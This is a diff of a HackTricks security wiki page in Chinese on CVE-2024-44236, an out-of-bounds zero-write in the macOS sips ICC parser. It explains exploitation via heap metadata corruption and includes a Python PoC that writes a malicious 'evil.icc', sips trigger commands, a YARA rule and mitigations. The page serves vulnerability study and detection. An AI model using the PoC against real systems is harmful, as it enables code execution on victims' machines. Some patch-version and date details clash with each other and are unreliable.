diff --git a/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-sips-icc-profile.md b/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-sips-icc-profile.md index e24056198..1896198a6 100644 --- a/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-sips-icc-profile.md +++ b/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-sips-icc-profile.md @@ -4,50 +4,94 @@ ## 概述 -Apple macOS Scriptable Image Processing System (`sips`) ICC 配置文件解析器中的越界写入漏洞(macOS 15.0.1, sips-307),由于对 `lutAToBType` (`mAB `) 和 `lutBToAType` (`mBA `) 标签中的 `offsetToCLUT` 字段的验证不当。一个精心制作的 ICC 文件可以触发零写,最多可超出堆缓冲区 16 字节,从而破坏堆元数据或函数指针,并启用任意代码执行 (CVE-2024-44236)。 +Apple macOS **可脚本图像处理系统** (`sips`) ICC 配置文件解析器中的一个越界 **零写** 漏洞 (macOS 15.0.1, `sips-307`) 允许攻击者破坏堆元数据并将原语转变为完整的代码执行。该漏洞位于 `lutAToBType` (`mAB `) 和 `lutBToAType` (`mBA `) 标签的 `offsetToCLUT` 字段的处理。如果攻击者将 `offsetToCLUT == tagDataSize`,解析器会在堆缓冲区的末尾 **擦除 16 字节**。堆喷射使攻击者能够将分配器结构或稍后将被解引用的 C++ 指针归零,从而产生 **任意写入到执行** 链 (CVE-2024-44236, CVSS 7.8)。 + +> Apple 在 macOS Sonoma 15.2 / Ventura 14.7.1 中修复了该漏洞 (2024年10月30日)。第二个变种 (CVE-2025-24185) 于 2025年4月1日在 macOS 15.5 和 iOS/iPadOS 18.5 中修复。 ## 易受攻击的代码 - -易受攻击的函数从攻击者控制的偏移量开始读取并将 16 字节置为零,而不确保其位于分配的缓冲区内: ```c -// Pseudocode from sub_1000194D0 in sips-307 (macOS 15.0.1) -for (i = offsetToCLUT; i < offsetToCLUT + 16; i++) { -if (i > numberOfInputChannels && buffer[i] != 0) -buffer[i] = 0; +// Pseudocode extracted from sub_1000194D0 in sips-307 (macOS 15.0.1) +if (offsetToCLUT <= tagDataSize) { +// BAD ➜ zero 16 bytes starting *at* offsetToCLUT +for (uint32_t i = offsetToCLUT; i < offsetToCLUT + 16; i++) +buffer[i] = 0; // no bounds check vs allocated size! } ``` -仅执行检查 `offsetToCLUT <= totalDataLength`。通过设置 `offsetToCLUT == tagDataSize`,循环索引到 `buffer` 末尾之后的 16 字节,破坏相邻的堆元数据。 - ## 利用步骤 -1. **构造恶意 `.icc` 配置文件:** -- 构建 ICC 头(128 字节),签名为 `acsp`,并包含一个 `lutAToBType` 或 `lutBToAType` 标签条目。 -- 在标签表中,将 `offsetToCLUT` 设置为标签的 `size`(`tagDataSize`)。 -- 在标签数据块后立即放置攻击者控制的数据,以覆盖堆元数据。 -2. **触发解析:** +1. **制作恶意的 `.icc` 配置文件** + +* 设置一个最小的 ICC 头 (`acsp`) 并添加一个 `mAB ` (或 `mBA `) 标签。 +* 配置标签表,使 **`offsetToCLUT` 等于标签大小** (`tagDataSize`)。 +* 将攻击者控制的数据放置在标签之后,以便 16 次零写入覆盖分配器元数据。 + +2. **通过任何触及配置文件的 sips 操作触发解析** ```bash -sips --verifyColor malicious.icc +# 验证路径(不需要输出文件) +sips --verifyColor evil.icc +# 或在转换嵌入配置文件的图像时隐式触发 +sips -s format png payload.jpg --out out.png ``` -3. **堆元数据损坏:** OOB 零写覆盖分配器元数据或相邻指针,使攻击者能够劫持控制流并在 `sips` 进程的上下文中实现任意代码执行。 +3. **堆元数据损坏 ➜ 任意写入 ➜ ROP** +在苹果默认的 **`nano_zone`** 分配器中,16 字节槽的元数据位于对齐的 0x1000 块 **之后**。通过将配置文件的标签放置在这样的块的末尾,16 次零写入会破坏 `meta->slot_B`。在随后的 `free` 之后,受污染的指针被排入小型空闲列表,使攻击者 **能够在任意地址分配一个假对象** 并覆盖 sips 使用的 C++ vtable 指针,最终将执行权转移到存储在恶意 ICC 缓冲区中的 ROP 链。 +### 快速 PoC 生成器 (Python 3) +```python +#!/usr/bin/env python3 +import struct, sys + +HDR = b'acsp'.ljust(128, b'\0') # ICC header (magic + padding) +TAGS = [(b'mAB ', 132, 52)] # one tag directly after header +profile = HDR +profile += struct.pack('>I', len(TAGS)) # tag count +profile += b''.join(struct.pack('>4sII', *t) for t in TAGS) + +mab = bytearray(52) # tag payload (52 bytes) +struct.pack_into('>I', mab, 44, 52) # offsetToCLUT = size (OOB start) +profile += mab + +open('evil.icc', 'wb').write(profile) +print('[+] Wrote evil.icc (%d bytes)' % len(profile)) +``` +### YARA 检测规则 +```yara +rule ICC_mAB_offsetToCLUT_anomaly +{ +meta: +description = "Detect CLUT offset equal to tag length in mAB/mBA (CVE-2024-44236)" +author = "HackTricks" +strings: +$magic = { 61 63 73 70 } // 'acsp' +$mab = { 6D 41 42 20 } // 'mAB ' +$mba = { 6D 42 41 20 } // 'mBA ' +condition: +$magic at 0 and +for any i in (0 .. 10): // up to 10 tags +( +($mab at 132 + 12*i or $mba at 132 + 12*i) and +uint32(132 + 12*i + 4) == uint32(132 + 12*i + 8) // offset == size +) +} +``` ## 影响 -成功利用将导致在运行易受攻击的 `sips` 实用程序的 macOS 系统上以用户权限进行远程任意代码执行。 +打开或处理精心制作的 ICC 配置文件会导致在调用用户的上下文中发生远程 **任意代码执行**(预览、QuickLook、Safari 图像渲染、邮件附件等),绕过 Gatekeeper,因为该配置文件可以嵌入在其他无害的图像中(PNG/JPEG/TIFF)。 -## 检测 +## 检测与缓解 -- 监控常见协议(FTP、HTTP/S、IMAP、SMB、NFS、SMTP)上的文件传输。 -- 检查传输的文件是否具有签名 `acsp`。 -- 对于每个 `mAB ` 或 `mBA ` 标签,验证 `Offset to CLUT` 字段是否等于 `Tag data size`。 -- 如果满足此条件,则标记为可疑。 +* **打补丁!** 确保主机运行 macOS ≥ 15.2 / 14.7.1(或 iOS/iPadOS ≥ 18.1)。 +* 在电子邮件网关和 EDR 解决方案上部署上述 YARA 规则。 +* 在对不受信任的文件进行进一步处理之前,使用 `exiftool -icc_profile= -overwrite_original ` 删除或清理嵌入的 ICC 配置文件。 +* 通过在分析未知内容时在沙箱“透明度与现代化”虚拟机中运行预览/QuickLook 来增强安全性。 +* 对于 DFIR,查看统一日志中沙箱应用程序最近执行的 `sips --verifyColor` 或 `ColorSync` 库加载。 ## 参考 -- ZDI 博客:CVE-2024-44236:Apple macOS sips 实用程序中的远程代码执行漏洞 -https://www.thezdi.com/blog/2025/5/7/cve-2024-44236-remote-code-execution-vulnerability-in-apple-macos -- Apple 2024 年 10 月安全更新(修补 CVE-2024-44236) -https://support.apple.com/en-us/121564 +* Trend Micro Zero Day Initiative 通告 ZDI-24-1445 – “Apple macOS ICC 配置文件解析越界写入远程代码执行 (CVE-2024-44236)” +https://www.zerodayinitiative.com/advisories/ZDI-24-1445/ +* Apple 安全更新 HT213981 “关于 macOS Sonoma 15.2 的安全内容” +https://support.apple.com/en-us/HT213981 {{#include ../../banners/hacktricks-training.md}}